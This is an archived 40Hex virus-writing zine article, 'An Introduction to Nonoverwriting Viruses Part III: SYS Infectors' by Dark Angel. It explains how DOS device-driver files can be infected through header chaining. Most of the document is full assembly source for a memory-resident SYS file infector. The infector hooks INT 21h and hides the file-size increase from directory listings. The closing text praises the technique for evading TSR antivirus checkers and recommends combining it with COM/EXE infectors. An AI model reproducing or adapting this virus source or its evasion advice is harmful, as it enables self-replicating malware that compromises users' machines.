home *** CD-ROM | disk | FTP | other *** search
- 40Hex Number 9 Volume 2 Issue 5 File 002
-
- ─────────────────────────────────────────
- An Introduction to Nonoverwriting Viruses
- Part III: SYS Infectors
- By Dark Angel
- ─────────────────────────────────────────
-
- The SYS file is the most overlooked executable file structure in DOS.
- Viruses are quite capable of infecting SYS files, as DOS kindly allows for
- such extensions to this file format.
-
- The SYS file is loaded beginning at offset 0 of a particular segment.
- It consists of a header followed by code. SYS files may be chained
- together after a simple modification in the header. This is the key to
- infecting SYS files.
-
- There are two types of device drivers; block and character. Block
- devices include floppy, hard, and virtual disks, i.e. any media which can
- store data. Character devices include printers, modems, keyboard, and the
- screen. The virus will generally be a character device, as it reduces
- complexity.
-
- The header structure is straightforward:
-
- Offset Size Description
- ------ ---- -----------
- 0h DWORD Pointer to next header
- 4h WORD Attribute
- 6h WORD Pointer to strategy routine
- 8h WORD Pointer to interrupt routine
- 0Ah QWORD Name of the device driver
-
- The pointer to the next device driver header appears at offset zero in the
- header. This is a far pointer consisting of a segment:offset pair. If the
- current device is the only device appearing in the SYS file, then this
- pointer should be set to FFFF:FFFF. However, if there are two or more
- device drivers contained in the file, then the offset field should be equal
- to the absolute location of the next device in the file. The segment field
- should remain FFFF. For example, if a second device driver occurs at
- offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300 The
- second (and all other) device driver must contain a new header as well.
-
- The next field contains the attribute of the device driver. Bit 15
- determines the nature of the device driver. If bit 15 is set, then the
- device driver header corresponds to a character device; otherwise, the
- device is a block device. You need not concern yourself with any of the
- other bits; they may remain cleared.
-
- Before the next two fields may be understood, it is necessary to introduce
- the concept of the request header. The request header contains DOS's
- requests of the device driver. For example, DOS may ask for initialisation
- or a read or even a status check. The information needed by the device
- driver to interpret the request is all contained in the request header. It
- is passed to the strategy routine by DOS as a far pointer in ES:BX. The
- job of the strategy routine is to save the pointer for use by the interrupt
- routine. The interrupt routine is called by DOS immediately after the
- strategy routine. This routine processes the request in the header and
- performs the appropriate actions.
-
- The word-length pointers in the SYS header to the strategy and interrupt
- routines are relative to the start of the SYS file. So, if the strategy
- routine resides in absolute offset 32h in the file, then the field
- containing the location of the strategy routine would hold the number 32h.
-
- The name field in the SYS header simply holds an 8 byte device name. For
- example, 'NUL ' and 'CLOCK$ ' are two common DOS devices. The name
- should be justified with space characters (0x20).
-
- By using DOS's feature of chaining SYS files, we may easily infect
- this type of file. No bytes need to be saved. There are but two steps.
- The first is to concatenate the virus to the target file. The second is to
- alter the first word of the SYS file to point to the virus header. The
- only trick involved is writing the SYS interrupt routine. The format of
- the request header is:
-
- Offset Size Description
- ------ ---- -----------
- 0h BYTE Length of request header (in bytes)
- 1h BYTE Unit code (for block devices)
- 2h BYTE Command code
- 3h WORD Status
- 5h QWORD Reserved by DOS
- 0Dh Var. Data for the operation
-
- Only one command code is relevant for use in the virus. Upon
- initialisation of the device driver, DOS will send a request header with 0
- in the command code field. This is the initialisation check. The format
- of the variable sized field in the request header in this case is:
-
- Offset Size Description
- ------ ---- -----------
- 0Dh BYTE Number of units (ignored by character devices)
- 0Eh DWORD Ending address of resident program code
- 12h DWORD Pointer to BPB aray (ignored by character devices)
- 16h BYTE Drive number (irrelevant in character devices)
-
- The only relevant fields are at offset 3 and 0Eh. Offset 3 holds the
- status word of the operation. The virus fills this in with the appropriate
- value. Generally, the virus should put a value of 100h in the status word
- in the event of a successful request and a 8103h in the status word in the
- event of a failure. The 8103h causes DOS to think that the device driver
- does not understand the request. A value of 8102h should be returned in
- the event of a failed installation. Offset 0Eh will hold the address of
- the end of the virus (include the heap!) in the event of a successful
- installation and CS:0 in the event of a failure.
-
- Basically, the strategy routine of the virus should contain a simple
- stub to save the es:bx pointer. The interrupt routine should fail all
- requests other than initialisation. It should perform an installation if
- the virus is not yet installed and fail if it is already in memory
- (remember to set offset 0eh to cs:0).
-
- A sample infector with very limited stealth features follows. While it is
- somewhat large, it may be easily coupled with a simple COM/EXE infection
- routine to create a powerful virus. It is a SYS-only, memory resident
- infector.
-
- ---------------------------------------------------------------------------
- .model tiny
- .code
- org 0 ; SYS files originate at zero
- ; SYS infector
- ; Written by Dark Angel of Phalcon/Skism
- ; for 40Hex
- header:
-
- next_header dd -1 ; FFFF:FFFF
- attribute dw 8000h ; character device
- strategy dw offset _strategy
- interrupt dw offset _interrupt
- namevirus db 'SYS INF ' ; simple SYS infector
-
- endheader:
-
- author db 0,'Simple SYS infector',0Dh,0Ah
- db 'Written by Dark Angel of Phalcon/Skism',0
-
- _strategy: ; save es:bx pointer
- push si
- call next_strategy
- next_strategy:
- pop si
- mov cs:[si+offset savebx-offset next_strategy],bx
- mov cs:[si+offset savees-offset next_strategy],es
- pop si
- retf
-
- _interrupt: ; install virus in memory
- push ds ; generally, only the segment
- push es ; registers need to be preserved
-
- push cs
- pop ds
-
- call next_interrupt
- next_interrupt:
- pop bp
- les bx,cs:[bp+savebx-next_interrupt] ; get request header
- pointer
-
- mov es:[bx+3],8103h ; default to fail request
- cmp byte ptr es:[bx+2], 0 ; check if it is installation
- request
- jnz exit_interrupt ; exit if it is not
-
- mov es:[bx+10h],cs ; fill in ending address value
- lea si,[bp+header-next_interrupt]
- mov es:[bx+0eh],si
- dec byte ptr es:[bx+3] ; and assume installation failure
-
- mov ax, 0b0fh ; installation check
- int 21h
- cmp cx, 0b0fh
- jz exit_interrupt ; exit if already installed
-
- add es:[bx+0eh],offset endheap ; fixup ending address
- mov es:[bx+3],100h ; and status word
-
- xor ax,ax
- mov ds,ax ; ds->interrupt table
- les bx,ds:[21h*4] ; get old interrupt handler
- mov word ptr cs:[bp+oldint21-next_interrupt],bx
- mov word ptr cs:[bp+oldint21+2-next_interrupt],es
-
- lea si,[bp+int21-next_interrupt]
- cli
- mov ds:[21h*4],si ; replace int 21h handler
- mov ds:[21h*4+2],cs
- sti
- exit_interrupt:
- pop es
- pop ds
- retf
-
- int21:
- cmp ax,0b0fh ; installation check?
- jnz notinstall
- xchg cx,ax ; mark already installed
- exitint21:
- iret
- notinstall:
- pushf
- db 9ah ; call far ptr This combined with
- the
- oldint21 dd ? ; pushf simulates an int 21h call
-
- pushf
-
- push bp
- push ax
-
- mov bp, sp ; set up new stack frame
- ; flags [bp+10]
- ; CS:IP [bp+6]
- ; flags new [bp+4]
- ; bp [bp+2]
- ; ax [bp]
- mov ax, [bp+4] ; get flags
- mov [bp+10], ax ; replace old flags with new
-
- pop ax ; restore the stack
- pop bp
- popf
-
- cmp ah, 11h ; trap FCB find first and
- jz findfirstnext
- cmp ah, 12h ; FCB find next calls only
- jnz exitint21
- findfirstnext:
- cmp al,0ffh ; successful findfirst/next?
- jz exitint21 ; exit if not
-
- push bp
- call next_int21
- next_int21:
- pop bp
- sub bp, offset next_int21
-
- push ax ; save all registers
- push bx
- push cx
- push dx
- push ds
- push es
- push si
- push di
-
- mov ah, 2fh ; ES:BX <- DTA
- int 21h
-
- push es ; DS:BX->DTA
- pop ds
-
- cmp byte ptr [bx], 0FFh ; extended FCB?
- jnz regularFCB ; continue if not
- add bx, 7 ; otherwise, convert to regular FCB
- regularFCB:
- mov cx, [bx+29] ; get file size
- mov word ptr cs:[bp+filesize], cx
-
- push cs ; ES = CS
- pop es
-
- cld
-
- ; The following code converts the FCB to an ASCIIZ string
- lea di, [bp+filename] ; destination buffer
- lea si, [bx+1] ; source buffer - filename
-
- cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
- jz bombout
-
- mov cx, 8 ; copy up to 8 bytes
- back: cmp byte ptr ds:[si], ' ' ; is it a space?
- jz copy_done ; if so, done copying
- movsb ; otherwise, move character to
- buffer
- loop back
-
- copy_done:
- mov al, '.' ; copy period
- stosb
-
- mov ax, 'YS'
- lea si, [bx+9] ; source buffer - extension
- cmp word ptr [si], ax ; check if it has the SYS
- jnz bombout ; extension and exit if it
- cmp byte ptr [si+2], al ; does not
- jnz bombout
- stosw ; copy 'SYS' to the buffer
- stosb
-
- mov al, 0 ; copy null byte
- stosb
-
- push ds
- pop es ; es:bx -> DTA
-
- push cs
- pop ds
-
- xchg di,bx ; es:di -> DTA
- ; open file, read/only
- call open ; al already 0
- jc bombout ; exit on error
-
- mov ah, 3fh ; read first
- mov cx, 2 ; two bytes of
- lea dx, [bp+buffer] ; the header
- int 21h
-
- mov ah, 3eh ; close file
- int 21h
-
- InfectSYS:
- inc word ptr cs:[bp+buffer] ; if first word not FFFF
- jz continueSYS ; assume already infected
- ; this is a safe bet since
- ; most SYS files do not have
- ; another SYS file chained on
-
- alreadyinfected:
- sub es:[di+29], heap - header ; hide file size increase
- ; during a DIR command
- ; This causes CHKDSK errors
- ;sbb word ptr es:[di+31], 0 ; not needed because SYS files
- ; are limited to 64K maximum
-
- bombout:
- pop di
- pop si
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- pop bp
- iret
-
- continueSYS:
- push ds
- pop es
-
- lea si, [bp+offset header]
- lea di, [bp+offset bigbuffer]
- mov cx, offset endheader - offset header
- rep movsb
-
- mov cx, cs:[bp+filesize]
- add cx, offset _strategy - offset header ; calculate offset to
- mov word ptr [bp+bigbuffer+6],cx ; strategy routine
-
- add cx, offset _interrupt - offset _strategy;calculate offset to
- mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
-
- continueinfection:
- mov ax, 4300h ; get file attributes
- lea dx, [bp+filename]
- int 21h
-
- push cx ; save attributes on stack
- push dx ; save filename on stack
-
- mov ax, 4301h ; clear file attributes
- xor cx, cx
- lea dx,[bp+filename]
- int 21h
-
- call openreadwrite
-
- mov ax, 5700h ; get file time/date
- int 21h
- push cx ; save them on stack
- push dx
-
- mov ah, 40h ; write filesize to the old
- mov cx, 2 ; SYS header
- lea dx, [bp+filesize]
- int 21h
-
- mov ax, 4202h ; go to end of file
- xor cx, cx
- cwd ; xor dx, dx
- int 21h
-
- mov ah, 40h ; concatenate header
- mov cx, offset endheader - offset header
- lea dx, [bp+bigbuffer]
- int 21h
-
- mov ah, 40h ; concatenate virus
- mov cx, offset heap - offset endheader
- lea dx, [bp+endheader]
- int 21h
-
- mov ax, 5701h ; restore file time/date
- pop dx
- pop cx
- int 21h
-
- mov ah, 3eh ; close file
- int 21h
-
- mov ax, 4301h ; restore file attributes
- pop cx
- pop dx
- int 21h
-
- jmp bombout
-
- openreadwrite:
- mov al, 2 ; open read/write mode
- open: mov ah, 3dh
- lea dx,[bp+filename]
- int 21h
- xchg ax, bx ; put handle in bx
- ret
-
- heap:
- savebx dw ?
- savees dw ?
- buffer db 2 dup (?)
- filename db 13 dup (?)
- filesize dw ?
- bigbuffer db offset endheader - offset header dup (?)
- endheap:
-
- end header
- ---------------------------------------------------------------------------
-
- The reason the "delta offset" is needed throughout the file is because
- it is impossible to know the exact location where the SYS file will be
- loaded into memory. This can be ameliorated by some file padding and fancy
- mathematical calculations.
-
- The advantages of using SYS files are manyfold. There is no load high
- routine involved apart from the strategy/interrupt routines. This saves
- space. SYS files also generally load before TSR virus checkers. TSR
- checkers also can't detect the residency routine of the virus, since it is
- a normal part of the DOS loading process. The routine for the infection of
- the SYS file is ridiculously easy to implement and takes remarkably little
- space, so there is no reason not to include SYS support in viruses.
- Finally, the memory "loss" reported by CHKDSK usually associated with
- memory resident viruses is not a problem with SYS files.
-
- A SYS file infector, when combined with a COM and EXE general
- infector, can lead to a powerful virus. Once the first SYS file is
- infected, the infected system becomes extremely vulnerable to the virus, as
- there is little the user can do to prevent the virus from running, short
- of a clean boot.
-